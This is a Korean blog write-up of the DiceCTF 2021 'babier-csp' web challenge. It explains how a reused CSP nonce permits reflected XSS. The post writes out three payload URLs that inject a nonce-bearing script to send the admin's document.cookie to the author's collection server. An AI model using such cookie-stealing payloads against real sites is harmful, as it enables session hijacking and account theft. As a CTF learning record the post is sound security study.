티스토리 뷰
DiceCTF 2021
DiceCTF is a jeopardy-style CTF with challenges for all skill levels.
ctf.dicega.ng
..한문제
먼저 소스를 보면
get name 변수를 통하여 <h1> 태그로 출력되는 값이 변화하는 것을 볼 수 있음
문제에서 admin cookie에 secret 값이 저장되어 있다고 하였으므로!!!
xss를 통하여 쿠키 값을 가져오는 것을 예상함(+ 내가 입력한 링크를 admin bot이 체크하는 페이지가 따로 있었음)
일단 설정된 CSP를 보면
script를 제외한 태그는 금지되어 있고
(default-src none)
script-src에서 알 수 있듯이 nonce값을 통하여 스크립트를 삽입 가능함
일단 위에서 nonce값을 생성한 과정을 보면
base64로 암호화한 값임을 알 수 있음
따라서 일단 name 변수에 스크립트를 삽입한 후 콘솔에 출력된 메시지를 보면
위와 같이 nonce값을 볼 수 있는데
(처음에는 randomByte()~ 로 nonce 값이 생성되기에 매번마다 변할 줄 알았던 nonce값이 계속 같은 값을 가지고 있었음.. 왜인지는모르겠음)
여튼 출력된 nonce를 이용하여 script를 삽입하는 방법을 사용함
일단 내 서버에 다음과 같은 파일을 만들어 줌
admin의 쿠키(문제 서버의) 를 탈취하는 것이므로 다음과 같은 방식들을 시도함
document.loaction.href
https://babier-csp.dicec.tf/?name=
<script nonce="LRGWAXOY98Es0zz0QOVmag==">
document.location.href="http://000.000.000.000/~id/study/stored.php?
cookie="+document.cookie;</script>
(편의를 위하여 줄바꿈 함..)
x
window.open
https://babier-csp.dicec.tf/?name=
<script nonce="LRGWAXOY98Es0zz0QOVmag==">
window.open("http://000.000.000.000/~id/study/stored.php?cookie="+document.cookie);
</script>
x
window.location
https://babier-csp.dicec.tf/?name=
<script nonce="LRGWAXOY98Es0zz0QOVmag==">
window.location="http://000.000.000.000/~id/study/stored.php
?cookie=".concat(document.cookie)</script>
위의 링크를 입력하여
위와 같은 쿠키 값을 얻어 올 수 있음
++
CSP Bypass Tips
이번에 개인적으로 CSP(Content Security Policy)를 우회해야 할 일이 있었어서 관련 자료를 조사하여 해당 내용 공유드릴까 합니다. CSP는 Server Side에서 Client Side의 보안을 설정하여 줄 수 있는 기능입니
defenit.kr
이 블로그에 따르면,, cache positiong 을 이용하여 .. nonce값이 고정된 것 같당..
+++
CSP(Content-Security-Policy)와 CSP bypass (tistory.com)
nonce값을 담고 있는 http 헤더 or meta 태그가 캐시되는 경우.
캐시가 만료될 때까지 요청 때마다 같은 nonce값이 들어오기 때문에 이 nonce값을 이용할 수 있음!!
(서버 측 xss는 일어나지 않지만 클라이언트 측에서 xss가 가능)
- Total
- Today
- Yesterday
- Sort
- RequiredArgsConstructor
- Segment Tree
- 위상 정렬
- 최단 거리
- MinHeap
- 희소 배열
- 페르마의 정리
- 분할정복
- dp
- 누적 합
- Knapsack
- 부분 합
- LowerBound
- prirotyqueue
- 구간 합
- 이분탐색
- HashSet
- dfs
- Priority Queue
- Greedy
- 참조 지역성
- 분할 정복
- 완전 탐색
- 동적계획법
- MaxHeap
- 배낭 문제
- 완전탐색
- 백트래킹
- 비트마스킹
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |